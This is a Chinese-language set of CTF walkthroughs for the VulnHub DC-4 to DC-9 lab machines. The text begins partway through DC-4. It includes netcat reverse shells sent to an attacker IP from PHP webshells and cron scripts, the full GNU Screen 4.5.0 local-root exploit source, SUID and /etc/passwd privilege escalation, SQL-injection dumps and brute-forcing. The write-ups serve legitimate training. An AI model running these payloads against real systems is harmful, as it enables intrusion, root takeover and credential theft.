888d88888b888 d8P Y8b 888 888 888 888 d88""88b 888 "88b d8P Y8b 888 888 888 888
88888P Y88888 88888888 888 888 888 888 888 888 888 888 88888888 Y8P Y8P Y8P Y8P
8888P Y8888 Y8b. 888 888 888 .d88P Y88..88P 888 888 Y8b. " " " "
888P Y888 "Y8888 888 888 8888888P" "Y88P" 888 888 "Y8888 888 888 888 888
Congratulations!!!
Hope you enjoyed DC-4. Just wanted to send a big thanks out there to all those
who have provided feedback, and who have taken time to complete these little
challenges.
If you enjoyed this CTF, send me a tweet via @DCAU7.
寫入定時檔案/etc/crontab
向/etc/crontab檔案中寫入新的定時任務
時間部分全部填寫為*，意思是每分鐘執行一次，通過寫入將/bin/sh的權限修改為4777，這樣就可以在非root用戶下執行它，并且執行期間擁有root權限，
sudo teehee /etc/crontab
* * * * * root chmod 4777 /bin/sh
參考文章
安全客
https://www.cnblogs.com/yurang/p/13721862.html
DC5
基本環境的搭建
靶機下載地址：https://download.vulnhub.com/dc/DC-5.zip
基本資訊收集
nmap -sS -A 192.168.124.0/24
Nmap scan report for 192.168.124.149
Host is up (0.00027s latency).
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
80/tcp open http nginx 1.6.2
|_http-server-header: nginx/1.6.2
|_http-title: Welcome
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100000 3,4 111/tcp6 rpcbind
| 100000 3,4 111/udp6 rpcbind
| 100024 1 37412/udp status
| 100024 1 49448/tcp6 status
| 100024 1 49885/udp6 status
|_ 100024 1 56530/tcp status
MAC Address: 00:0C:29:1A:8C:74 (VMware)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
TRACEROUTE
HOP RTT ADDRESS
1 0.27 ms 192.168.124.149
Nmap scan report for 192.168.124.254
發現開了80,111埠，作業系統是linux，nginx 1.6.2
對埠進一步探測
nmap -sS 192.168.124.149 -p 1-65535
Nmap scan report for 192.168.124.149
Host is up (0.00089s latency).
Not shown: 65532 closed ports
PORT STATE SERVICE
80/tcp open http
111/tcp open rpcbind
56530/tcp open unknown
MAC Address: 00:0C:29:1A:8C:74 (VMware)
Nmap done: 1 IP address (1 host up) scanned in 2.46 seconds
開了56530埠
進入80埠查看
發現一個留言功能
嘗試了xss發現并沒有
掃描一下目錄，發現特別的footer.php
訪問發現日期總在變
發現留言的地方的日期也總在變
然后thankyou.php應該是包含了footer.php頁面
嘗試檔案包含讀取thankyou.php檔案和其他檔案，發現能夠成功讀取
嘗試寫入檔案進行檔案包含，能寫入的檔案像中間件日志檔案，ssh登錄的日志檔案，臨時檔案等等
參考之前的檔案包含https://lnng.top/posts/6b68.html
這個還是嘗試包含中間件的日志檔案吧，因為ssh的登錄埠不知，且其他的方法不好利用
隨便訪問一個木馬
蟻劍連接發現連接成功
反彈互動shell
在/var/tmp/下新建phpshell檔案，寫入
<?php
system("nc 192.168.124.139 4444 -e /bin/sh");
?>
kali端
nc -l -p 4444
反彈shell
python -c 'import pty;pty.spawn("/bin/bash")'
提權
嘗試suid提權
find / -perm -u=s -type f 2>/dev/null
GNU Screen是一款由GNU計劃開發的用于命令列終端切換的自由軟體，用戶可以通過該軟體同時連接多個本地或遠程的命令列會話，并在其間自由切換，
GNU Screen可以看作是視窗管理器的命令列界面版本，它提供了統一的管理多個會話的界面和相應的功能，
搜索漏洞
searchsploit screen 4.5.0
發現兩個可利用的漏洞
使用第一個
先將41154.sh復制到桌面
cp /usr/share/exploitdb/exploits/linux/local/41154.sh 41154.sh
cat 41154.sh
#!/bin/bash
# screenroot.sh
# setuid screen v4.5.0 local root exploit
# abuses ld.so.preload overwriting to get root.
# bug: https://lists.gnu.org/archive/html/screen-devel/2017-01/msg00025.html
# HACK THE PLANET
# ~ infodox (25/1/2017)
echo "~ gnu/screenroot ~"
echo "[+] First, we create our shell and library..."
cat << EOF > /tmp/libhax.c
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
__attribute__ ((__constructor__))
void dropshell(void){
chown("/tmp/rootshell", 0, 0);
chmod("/tmp/rootshell", 04755);
unlink("/etc/ld.so.preload");
printf("[+] done!\n");
}
EOF
gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c
rm -f /tmp/libhax.c
cat << EOF > /tmp/rootshell.c
#include <stdio.h>
int main(void){
setuid(0);
setgid(0);
seteuid(0);
setegid(0);
execvp("/bin/sh", NULL, NULL);
}
EOF
gcc -o /tmp/rootshell /tmp/rootshell.c
rm -f /tmp/rootshell.c
echo "[+] Now we create our /etc/ld.so.preload file..."
cd /etc
umask 000 # because
screen -D -m -L ld.so.preload echo -ne "\x0a/tmp/libhax.so" # newline needed
echo "[+] Triggering..."
screen -ls # screen itself is setuid, so...
這里告訴了我們使用方法
先將第一部分寫入libhax.c檔案中
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
__attribute__ ((__constructor__))
void dropshell(void){
chown("/tmp/rootshell", 0, 0);
chmod("/tmp/rootshell", 04755);
unlink("/etc/ld.so.preload");
printf("[+] done!\n");
}
然后編譯
gcc -fPIC -shared -ldl -o libhax.so libhax.c
將中間的代碼存入rootshell.c中
#include <stdio.h>
int main(void){
setuid(0);
setgid(0);
seteuid(0);
setegid(0);
execvp("/bin/sh", NULL, NULL);
}
然后編譯
gcc -o rootshell rootshell.c
將剩余代碼保存到dc5.sh
echo "[+] Now we create our /etc/ld.so.preload file..."
cd /etc
umask 000 # because
screen -D -m -L ld.so.preload echo -ne "\x0a/tmp/libhax.so" # newline needed
echo "[+] Triggering..."
screen -ls # screen itself is setuid, so...
/tmp/rootshell
并輸入:
set ff=unix
將三個檔案上傳到/tmp檔案中
然后修改dc5.sh的權限
chmod 777 dc5.sh
然后執行
./dc5.sh
讀取flag
cat thisistheflag.txt
888b 888 d8b 888 888 888 888
8888b 888 Y8P 888 888 888 888
88888b 888 888 888 888 888
888Y88b 888 888 .d8888b .d88b. 888 888 888 .d88b. 888d888 888 888 888 888 888
888 Y88b888 888 d88P" d8P Y8b 888 888 888 d88""88b 888P" 888 .88P 888 888 888
888 Y88888 888 888 88888888 888 888 888 888 888 888 888888K Y8P Y8P Y8P
888 Y8888 888 Y88b. Y8b. Y88b 888 d88P Y88..88P 888 888 "88b " " "
888 Y888 888 "Y8888P "Y8888 "Y8888888P" "Y88P" 888 888 888 888 888 888
Once again, a big thanks to all those who do these little challenges,
and especially all those who give me feedback - again, it's all greatly
appreciated. :-)
I also want to send a big thanks to all those who find the vulnerabilities
and create the exploits that make these challenges possible.
參考文章
https://www.jianshu.com/p/8f6e1e4d44b9
https://www.anquanke.com/post/id/178958
DC6
基本環境搭建
靶機下載地址:https://download.vulnhub.com/dc/DC-6.zip
基本資訊收集
nmap -sS -A 192.168.124.0/24
Nmap scan report for 192.168.124.150
Host is up (0.00049s latency).
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)
| ssh-hostkey:
| 2048 3e:52:ce:ce:01:b6:94:eb:7b:03:7d:be:08:7f:5f:fd (RSA)
| 256 3c:83:65:71:dd:73:d7:23:f8:83:0d:e3:46:bc:b5:6f (ECDSA)
|_ 256 41:89:9e:85:ae:30:5b:e0:8f:a4:68:71:06:b4:15:ee (ED25519)
80/tcp open http Apache httpd 2.4.25 ((Debian))
|_http-server-header: Apache/2.4.25 (Debian)
|_http-title: Did not follow redirect to http://wordy/
|_https-redirect: ERROR: Script execution failed (use -d to debug)
MAC Address: 00:0C:29:4C:2C:9C (VMware)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE
HOP RTT ADDRESS
1 0.49 ms 192.168.124.150
發現開放了80，22ssh埠，作業系統linux
對埠進一步掃描
nmap -sS 192.168.124.150 -p 1-65535
Not shown: 65533 closed ports
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
沒有新的埠
爆破一下ssh(爆破未成功)
nmap --script=ssh-brute 192.168.124.150
訪問80埠
發現80埠訪問不了，被重定向的wordy頁面和之前一樣
修改本地的dns
linux:
vim /etc/hosts
windows:
C:\Windows\System32\drivers\etc
添加
192.168.124.150 wordy
根據個人ip
插件識別是一個wordpress+apache環境
那和之前一樣用wpscan掃描
wpscan --url http://wordy/ --enumerate u
掃描出幾個用戶名
將其保存到usename.txt檔案
然后有個提示媽耶鬼能想到
提示地址:https://www.vulnhub.com/entry/dc-6,315/
cat /usr/share/wordlists/rockyou.txt | grep k01 > password.txt
然后進行爆破
wpscan --url http://wordy/ -U username.txt -P password.txt
成功爆破出賬號和密碼
mark / helpdesk01
登錄地址
http://wordy/wp-admin/
搜索漏洞:
https://www.exploit-db.com/exploits/45274
發現一個命令執行，漏洞地址
http://wordy/wp-admin/admin.php?page=plainview_activity_monitor&tab=activity_tools
kali開啟監聽埠
netcat -l -p 4444
這個位置修改命令執行反彈shell
baidu.com | nc -e /bin/bash 192.168.124.139 4444
反彈一下互動shell
python -c 'import pty;pty.spawn("/bin/bash")'
提權
在家目錄發現提示的ssh登錄
/home/mark/stuff
發現登錄賬號密碼
Things to do:
- Restore full functionality for the hyperdrive (need to speak to Jens)
- Buy present for Sarah's farewell party
- Add new user: graham - GSo7isUM1D4 - done
- Apply for the OSCP course
- Buy new laptop for Sarah's replacement
ssh登錄
嘗試suid提取,發現沒有可利用的
find / -perm -u=s -type f 2>/dev/null
查看當前用戶可執行操作
sudo -l
發現可操作/home/jens/backups.sh，打開發現是一個解壓的腳本
向其中寫入命令然后已jens來執行
echo "/bin/bash" >> /home/jens/backups.sh
sudo -u jens /home/jens/backups.sh
發現成功切換到jens用戶
繼續查看可執行的命令,發現可執行的root的nmap
sudo -l
所以需要nmap打開一個shell即可獲得root
nmap中執行shell方法
echo "os.execute('/bin/bash')">/tmp/shell.nse
sudo nmap --script=/tmp/shell.nse
cat ./theflag.txt
成功獲得flag
Yb dP 888888 88 88 8888b. dP"Yb 88b 88 888888 d8b
Yb db dP 88__ 88 88 8I Yb dP Yb 88Yb88 88__ Y8P
YbdPYbdP 88"" 88 .o 88 .o 8I dY Yb dP 88 Y88 88"" `"'
YP YP 888888 88ood8 88ood8 8888Y" YbodP 88 Y8 888888 (8)
Congratulations!!!
Hope you enjoyed DC-6. Just wanted to send a big thanks out there to all those
who have provided feedback, and who have taken time to complete these little
challenges.
If you enjoyed this CTF, send me a tweet via @DCAU7.
DC7
基本環境搭建
靶機下載地址:https://download.vulnhub.com/dc/DC-7.zip
基本資訊收集
nmap -sS -A 192.168.124.0/24
Nmap scan report for 192.168.124.151
Host is up (0.00037s latency).
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)
| ssh-hostkey:
| 2048 d0:02:e9:c7:5d:95:32:ab:10:99:89:84:34:3d:1e:f9 (RSA)
| 256 d0:d6:40:35:a7:34:a9:0a:79:34:ee:a9:6a:dd:f4:8f (ECDSA)
|_ 256 a8:55:d5:76:93:ed:4f:6f:f1:f7:a1:84:2f:af:bb:e1 (ED25519)
80/tcp open http Apache httpd 2.4.25 ((Debian))
|_http-generator: Drupal 8 (https://www.drupal.org)
| http-robots.txt: 22 disallowed entries (15 shown)
| /core/ /profiles/ /README.txt /web.config /admin/
| /comment/reply/ /filter/tips /node/add/ /search/ /user/register/
| /user/password/ /user/login/ /user/logout/ /index.php/admin/
|_/index.php/comment/reply/
|_http-server-header: Apache/2.4.25 (Debian)
|_http-title: Welcome to DC-7 | D7
MAC Address: 00:0C:29:52:A9:5B (VMware)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE
HOP RTT ADDRESS
1 0.37 ms 192.168.124.151
發現開放了22，80埠系統linux，進一步掃描，沒發現其他埠
nmap 192.168.124.151 -p 1-65535
爆破ssh
nmap --script=ssh-brute 192.168.124.151
查看80埠進行進一步資訊的探測CMS是Drupal8，而且告訴我們不是暴力破解
查找漏洞
嘗試了msf中的漏洞不行exploit-db中根據版本來也不行
百度一下說這個提示搜索一下這個人，然后發現了github，然后找到了原始碼github原始碼地址
然后我們在config.php中發現了連接資料庫的賬號密碼，嘗試使用ssh連接,可以看到爆破前面爆破賬號密碼失敗
<?php
$servername = "localhost";
$username = "dc7user";
$password = "MdR3xOgB7#dW";
$dbname = "Staff";
$conn = mysqli_connect($servername, $username, $password, $dbname);
?>
提取
先搜尋一下檔案的基本資訊,在mbox中發現一個root執行的檔案(百度的媽耶看不到)
cat mbox
cat /opt/scripts/backups.sh
#!/bin/bash
rm /home/dc7user/backups/*
cd /var/www/html/
drush sql-dump --result-file=/home/dc7user/backups/website.sql
cd ..
tar -czf /home/dc7user/backups/website.tar.gz html/
gpg --pinentry-mode loopback --passphrase PickYourOwnPassword --symmetric /home/dc7user/backups/website.sql
gpg --pinentry-mode loopback --passphrase PickYourOwnPassword --symmetric /home/dc7user/backups/website.tar.gz
chown dc7user:dc7user /home/dc7user/backups/*
rm /home/dc7user/backups/website.sql
rm /home/dc7user/backups/website.tar.gz
發現應該是一個備份的sh腳本
看一下權限www-data和root都是有權限的
所以有思路了，如果我們獲得www-data的權限向這個腳本執行任務，那么我們就可以反彈root權限，因為會以root權限定時啟動
看著這個備份腳本可以發現是一個drush配置的命令，它可以改變用戶名密碼
drush sql-dump --result-file=/home/dc7user/backups/website.sql
所以嘗試修改一下密碼
cd /var/www/html
drush user-password admin --password="123456"
登錄嘗試，登錄成功
發現這個位置是支持擴展的，所以我們想要創建一個webshell可以借助插件，看wp要去下載一個php的插件
插件下載地址：https://www.drupal.org/project/php
下載gz格式上傳，然后點如圖的標識
然后勾上下圖的東西，點擊最下方的install
回到主頁，點擊下圖的東西，創建一個文章
隨便寫個木馬
注意下面的text format要選擇php code
然后蟻劍連接即可
再反彈給kali吧，其實可以直接再webshell中反彈shell
反彈互動shell
python -c 'import pty;pty.spawn("/bin/bash")'
然后將反彈shell的腳本寫入定時啟動的sh中，反彈root的shell
echo "nc -e /bin/bash 192.168.124.139 7777" >> /opt/scripts/backups.sh
讀取flag
cd /root
ls
theflag.txt
cat theflag.txt
888 888 888 888 8888888b. 888 888 888 888
888 o 888 888 888 888 "Y88b 888 888 888 888
888 d8b 888 888 888 888 888 888 888 888 888
888 d888b 888 .d88b. 888 888 888 888 .d88b. 88888b. .d88b. 888 888 888 888
888d88888b888 d8P Y8b 888 888 888 888 d88""88b 888 "88b d8P Y8b 888 888 888 888
88888P Y88888 88888888 888 888 888 888 888 888 888 888 88888888 Y8P Y8P Y8P Y8P
8888P Y8888 Y8b. 888 888 888 .d88P Y88..88P 888 888 Y8b. " " " "
888P Y888 "Y8888 888 888 8888888P" "Y88P" 888 888 "Y8888 888 888 888 888
Congratulations!!!
Hope you enjoyed DC-7. Just wanted to send a big thanks out there to all those
who have provided feedback, and all those who have taken the time to complete these little
challenges.
I'm sending out an especially big thanks to:
@4nqr34z
@D4mianWayne
@0xmzfr
@theart42
If you enjoyed this CTF, send me a tweet via @DCAU7.
參考文章
https://www.anquanke.com/post/id/187876#h3-3
DC8
基本環境搭建
靶機下載地址:https://download.vulnhub.com/dc/DC-8.zip
基本資訊收集
Nmap scan report for 192.168.124.152
Host is up (0.00058s latency).
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u1 (protocol 2.0)
| ssh-hostkey:
| 2048 35:a7:e6:c4:a8:3c:63:1d:e1:c0:ca:a3:66:bc:88:bf (RSA)
| 256 ab:ef:9f:69:ac:ea:54:c6:8c:61:55:49:0a:e7:aa:d9 (ECDSA)
|_ 256 7a:b2:c6:87:ec:93:76:d4:ea:59:4b:1b:c6:e8:73:f2 (ED25519)
80/tcp open http Apache httpd
|_http-generator: Drupal 7 (http://drupal.org)
| http-robots.txt: 36 disallowed entries (15 shown)
| /includes/ /misc/ /modules/ /profiles/ /scripts/
| /themes/ /CHANGELOG.txt /cron.php /INSTALL.mysql.txt
| /INSTALL.pgsql.txt /INSTALL.sqlite.txt /install.php /INSTALL.txt
|_/LICENSE.txt /MAINTAINERS.txt
|_http-server-header: Apache
|_http-title: Welcome to DC-8 | DC-8
MAC Address: 00:0C:29:AE:A9:C3 (VMware)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE
HOP RTT ADDRESS
1 0.58 ms 192.168.124.152
查看發現了80，22埠，作業系統linux
進一步掃描,沒發現其他埠
nmap 192.168.124.152 -p 1-65535
爆破ssh,無結果
nmap --script=ssh-brute 192.168.124.152
查看80端，cms Drupal 7
漏洞利用
msf上的基本漏洞利用沒效果，這里發現id嘗試一下sql注入吧
先嘗試簡單的報錯注入吧，沒有任何防護直接注入
sqlmap一把梭哈
http://192.168.124.152/?nid=1%20and%20updatexml(1,concat(0x7e,database()),1)#
sqlmap -u http://192.168.124.152/?nid=1 -D d7db -T users --dump
成功報出，賬號密碼的hash值
05:16:06] [INFO] resumed: 'admin'
[05:16:06] [INFO] resumed: '1567489015'
[05:16:06] [INFO] resumed: '[email protected]'
[05:16:06] [INFO] resumed: '1567766626'
[05:16:06] [INFO] resumed: '[email protected]'
[05:16:06] [INFO] resumed: '$S$D2tRcYRyqVFNSc0NvYUrYeQbLQg5koMKtihYTIDC9QQqJi3ICg5z'
[05:16:06] [INFO] resumed: '0'
[05:16:06] [INFO] resumed: ''
[05:16:06] [INFO] resumed: 'filtered_html'
[05:16:06] [INFO] resumed: '1'
[05:16:06] [INFO] resumed: ''
[05:16:06] [INFO] resumed: 'Australia/Brisbane'
[05:16:06] [INFO] resumed: '1'
[05:16:06] [INFO] resumed: '1567498512'
[05:16:06] [INFO] resumed: 'a:5:{s:16:"ckeditor_default";s:1:"t";s:20:"ckeditor_show_toggle";s:1:"t";s:14:"ckeditor_width";s:4:...
[05:16:06] [INFO] resumed: ''
[05:16:06] [INFO] resumed: 'john'
[05:16:06] [INFO] resumed: '1567489250'
[05:16:06] [INFO] resumed: '[email protected]'
[05:16:06] [INFO] resumed: '1567497783'
[05:16:06] [INFO] resumed: '[email protected]'
[05:16:06] [INFO] resumed: '$S$DqupvJbxVmqjr6cYePnx2A891ln7lsuku/3if/oRVZJaz5mKC2vF'
[05:16:06] [INFO] resumed: '0'
[05:16:06] [INFO] resumed: ''
爆破一下hash值,使用john這里提示了
爆破成功了john的密碼turtle
C:\root\Desktop> john pass.txt
Using default input encoding: UTF-8
Loaded 1 password hash (Drupal7, $S$ [SHA512 128/128 AVX 2x])
No password hashes left to crack (see FAQ)
C:\root\Desktop> john --show pass.txt
john:turtle
1 password hash cracked, 0 left
掃描一下目錄
dirb http://192.168.124.152
發現user目錄是登錄的地方
登錄成功,發現這個位置可以添加php代碼，直接嘗試反彈shell
http://192.168.124.152/node/3#overlay=node/3/webform/configure
<p>flag</p>
<?php
system("nc -e /bin/sh 192.168.124.139 4444");
?>
然后這個頁面隨便輸出什么點擊提交等待反彈的shell
然后反彈互動shell
python -c 'import pty;pty.spawn("/bin/bash")'
提權
先嘗試suid提權
find / -perm -u=s -type f 2>/dev/null
www-data@dc-8:/var/www/html$ find / -perm -u=s -type f 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
/usr/bin/chfn
/usr/bin/gpasswd
/usr/bin/chsh
/usr/bin/passwd
/usr/bin/sudo
/usr/bin/newgrp
/usr/sbin/exim4
/usr/lib/openssh/ssh-keysign
/usr/lib/eject/dmcrypt-get-device
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/bin/ping
/bin/su
/bin/umount
/bin/mount
發現一個特別的exim4搜索一下漏洞
嘗試一下這個漏洞
先復制出來
cp /usr/share/exploitdb/exploits/linux/local/46996.sh 46996.sh
處理為unix可以的
開啟一個服務或者你蟻劍連接上傳
python -m SimpleHTTPServer
然后下載下來
wget http://192.168.124.139:8000/46996.sh
里面有使用說明
chmod 777 46996.sh
./46996.sh -m netcat
Brilliant - you have succeeded!!!
888 888 888 888 8888888b. 888 888 888 888
888 o 888 888 888 888 "Y88b 888 888 888 888
888 d8b 888 888 888 888 888 888 888 888 888
888 d888b 888 .d88b. 888 888 888 888 .d88b. 88888b. .d88b. 888 888 888 888
888d88888b888 d8P Y8b 888 888 888 888 d88""88b 888 "88b d8P Y8b 888 888 888 888
88888P Y88888 88888888 888 888 888 888 888 888 888 888 88888888 Y8P Y8P Y8P Y8P
8888P Y8888 Y8b. 888 888 888 .d88P Y88..88P 888 888 Y8b. " " " "
888P Y888 "Y8888 888 888 8888888P" "Y88P" 888 888 "Y8888 888 888 888 888
Hope you enjoyed DC-8. Just wanted to send a big thanks out there to all those
who have provided feedback, and all those who have taken the time to complete these little
challenges.
I'm also sending out an especially big thanks to:
@4nqr34z
@D4mianWayne
@0xmzfr
@theart42
This challenge was largely based on two things:
1. A Tweet that I came across from someone asking about 2FA on a Linux box, and whether it was worthwhile.
2. A suggestion from @theart42
The answer to that question is...
If you enjoyed this CTF, send me a tweet via @DCAU7.
參考文章
https://blog.csdn.net/weixin_43583637/article/details/102828013
https://fan497.top/2020/11/17/vulnhub-DC8/
DC9
基本環境搭建
靶機下載地址：https://download.vulnhub.com/dc/DC-9.zip
基本資訊收集
nmap -sS -A 192.168.124.0/24
Nmap scan report for 192.168.124.153
Host is up (0.00041s latency).
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
22/tcp filtered ssh
80/tcp open http Apache httpd 2.4.38 ((Debian))
|_http-server-header: Apache/2.4.38 (Debian)
|_http-title: Example.com - Staff Details - Welcome
MAC Address: 00:0C:29:20:FE:11 (VMware)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
TRACEROUTE
HOP RTT ADDRESS
1 0.41 ms 192.168.124.153
開放了80，22ssh，作業系統linux
埠的進一步掃描(沒發現新的埠)
nmap 192.168.124.153 -p 1-65535
爆破一下ssh
nmap --script=ssh-brute 192.168.124.153
查看80埠，說讓我們看看你其他目錄
測驗了一下manage功能似乎沒有啥問題，再search的地方發現了sql注入
sqlmap直接跑一下,跑出三個資料庫
sqlmap -u "http://192.168.124.153/results.php" --data "search=" --dbs
繼續跑表
users的
sqlmap -u "http://192.168.124.153/results.php" --data "search=" -D users --tables
sqlmap -u "http://192.168.124.153/results.php" --data "search=" -D users -T UserDetails --dump
+------+------------+---------------------+-----------+-----------+---------------+
| id | lastname | reg_date | username | firstname | password |
+------+------------+---------------------+-----------+-----------+---------------+
| 17 | Morrison | 2019-12-29 16:58:28 | janitor2 | Scott | Hawaii-Five-0 |
| 16 | Trump | 2019-12-29 16:58:26 | janitor | Donald | Ilovepeepee |
| 15 | McScoots | 2019-12-29 16:58:26 | scoots | Scooter | YR3BVxxxw87 |
| 14 | Buffay | 2019-12-29 16:58:26 | phoebeb | Phoebe | smellycats |
| 13 | Geller | 2019-12-29 16:58:26 | monicag | Monica | 3248dsds7s |
| 12 | Geller | 2019-12-29 16:58:26 | rossg | Ross | ILoveRachel |
| 11 | Green | 2019-12-29 16:58:26 | rachelg | Rachel | yN72#dsd |
| 10 | Tribbiani | 2019-12-29 16:58:26 | joeyt | Joey | Passw0rd |
| 9 | Bing | 2019-12-29 16:58:26 | chandlerb | Chandler | UrAG0D! |
| 8 | Rubble | 2019-12-29 16:58:26 | bettyr | Betty | BamBam01 |
| 7 | Flintstone | 2019-12-29 16:58:26 | wilmaf | Wilma | Pebbles |
| 6 | Mouse | 2019-12-29 16:58:26 | jerrym | Jerry | B8m#48sd |
| 5 | Cat | 2019-12-29 16:58:26 | tomc | Tom | TC&TheBoyz |
| 4 | Rubble | 2019-12-29 16:58:26 | barneyr | Barney | RocksOff |
| 3 | Flintstone | 2019-12-29 16:58:26 | fredf | Fred | 4sfd87sfd1 |
| 2 | Dooley | 2019-12-29 16:58:26 | julied | Julie | 468sfdfsd2 |
| 1 | Moe | 2019-12-29 16:58:26 | marym | Mary | 3kfs86sfd
Staff的
sqlmap -u "http://192.168.124.153/results.php" --data "search=" -D Staff --tables
報出了倆表
Database: Staff
[2 tables]
+--------------+
| StaffDetails |
| Users |
+--------------+
sqlmap -u "http://192.168.124.153/results.php" --data "search=" -D Staff -T Users --dump
Users的表
Database: Staff
Table: Users
[1 entry]
+--------+----------+----------------------------------+
| UserID | Username | Password |
+--------+----------+----------------------------------+
| 1 | admin | 856f5de590ef37314e7c3bdf6f8a66dc |
+--------+----------+----------------------------------+
StaffDetails的表
sqlmap -u "http://192.168.124.153/results.php" --data "search=" -D Staff -T StaffDetails --dump
Database: Staff
Table: StaffDetails
[17 entries]
+------+-----------------------+----------------+------------+---------------------+-----------+-------------------------------+
| id | email | phone | lastname | reg_date | firstname | position |
+------+-----------------------+----------------+------------+---------------------+-----------+-------------------------------+
| 2 | [email protected] | 46457131654 | Dooley | 2019-05-01 17:32:00 | Julie | Human Resources |
| 17 | [email protected] | 47836546413 | Morrison | 2019-12-24 03:41:04 | Scott | Assistant Replacement Janitor |
| 15 | [email protected] | 454786464 | McScoots | 2019-05-01 20:16:33 | Scooter | Resident Cat |
| 13 | [email protected] | 8092432798 | Geller | 2019-05-01 17:32:00 | Monica | Marketing |
| 11 | [email protected] | 823897243978 | Green | 2019-05-01 17:32:00 | Rachel | Personal Assistant |
| 9 | [email protected] | 189024789 | Bing | 2019-05-01 17:32:00 | Chandler | President - Sales |
| 7 | [email protected] | 243457487 | Flintstone | 2019-05-01 17:32:00 | Wilma | Accounts |
| 5 | [email protected] | 802438797 | Cat | 2019-05-01 17:32:00 | Tom | Driver |
| 3 | [email protected] | 46415323 | Flintstone | 2019-05-01 17:32:00 | Fred | Systems Administrator |
| 1 | [email protected] | 46478415155456 | Moe | 2019-05-01 17:32:00 | Mary | CEO |
| 16 | [email protected] | 65464646479741 | Trump | 2019-12-23 03:11:39 | Donald | Replacement Janitor |
| 14 | [email protected] | 43289079824 | Buffay | 2019-05-01 17:32:02 | Phoebe | Assistant Janitor |
| 12 | [email protected] | 6549638203 | Geller | 2019-05-01 17:32:00 | Ross | Instructor |
| 10 | [email protected] | 232131654 | Tribbiani | 2019-05-01 17:32:00 | Joey | Janitor |
| 8 | [email protected] | 90239724378 | Rubble | 2019-05-01 17:32:00 | Betty | Junior Accounts |
| 6 | [email protected] | 24342654756 | Mouse | 2019-05-01 17:32:00 | Jerry | Stores |
| 4 | [email protected] | 324643564 | Rubble | 2019-05-01 17:32:00 | Barney | Help Desk |
+------+-----------------------+----------------+------------+---------------------+-----------+-------------------------------+
MD5解碼一下password的密碼
856f5de590ef37314e7c3bdf6f8a66dc
密碼
transorbital1
嘗試登錄,登錄成功，發現這里提示File does not exist，估計是包含了某個檔案，嘗試檔案包含,發現確實存在檔案包含
然后看來大佬的wp，發現一個沒了解的地方
http://192.168.124.153/welcome.php?file=../../../../../../../../../etc/knockd.conf
也就是說黑客進行直接掃描埠掃描不出來，只有進行固定knockd的訪問才能打開
查看組態檔發現需要連續訪問的埠
[options] UseSyslog [openSSH] sequence = 7469,8475,9842 seq_timeout = 25 command = /sbin/iptables -I INPUT -s %IP% -p tcp --dport 22 -j ACCEPT tcpflags = syn [closeSSH] sequence = 9842,8475,7469 seq_timeout = 25 command = /sbin/iptables -D INPUT -s %IP% -p tcp --dport 22 -j ACCEPT tcpflags = syn
輪流敲
nmap 192.168.124.153 -p 7469
nmap 192.168.124.153 -p 8475
nmap 192.168.124.153 -p 9842
將之前爆破的users的賬號密碼，提權出來進行ssh的爆破
cat UserDetails.csv | awk -F ',' '{print $4}' > username.txt
cat UserDetails.csv | awk -F ',' '{print $NF}' > password.txt
爆破ssh
hydra破解進行破解
hydra -L username.txt -P password.txt 192.168.124.153 ssh
成功爆破出三個用戶
登錄janitor發現了隱藏檔案
將其加入到password中再次進行爆破
成功多爆破出一個賬號密碼嘗試登錄
看一下權限
sudo -l
發現一個test檔案
執行了一下發現執行不了
再上一層目錄發現了原始碼
代碼的意思是將第一個檔案的內容寫入第二個檔案中
所以我們可以創建一個檔案寫入root權限的資訊，然后用test將其寫入到/etc/passwd中
echo "admin:*:0:0:::/bin/bash" >> /tmp/passwd
然后利用test將/tmp/passwd的內容寫入到/etc/passwd中
sudo ./test /tmp/passwd /etc/passwd
fredf@dc-9:/opt/devstuff/dist/test$ su admin
root@dc-9:/opt/devstuff/dist/test# whoami
root
root@dc-9:~# ls
theflag.txt
root@dc-9:~# cat theflag.txt
███╗ ██╗██╗ ██████╗███████╗ ██╗ ██╗ ██████╗ ██████╗ ██╗ ██╗██╗██╗██╗
████╗ ██║██║██╔════╝██╔════╝ ██║ ██║██╔═══██╗██╔══██╗██║ ██╔╝██║██║██║
██╔██╗ ██║██║██║ █████╗ ██║ █╗ ██║██║ ██║██████╔╝█████╔╝ ██║██║██║
██║╚██╗██║██║██║ ██╔══╝ ██║███╗██║██║ ██║██╔══██╗██╔═██╗ ╚═╝╚═╝╚═╝
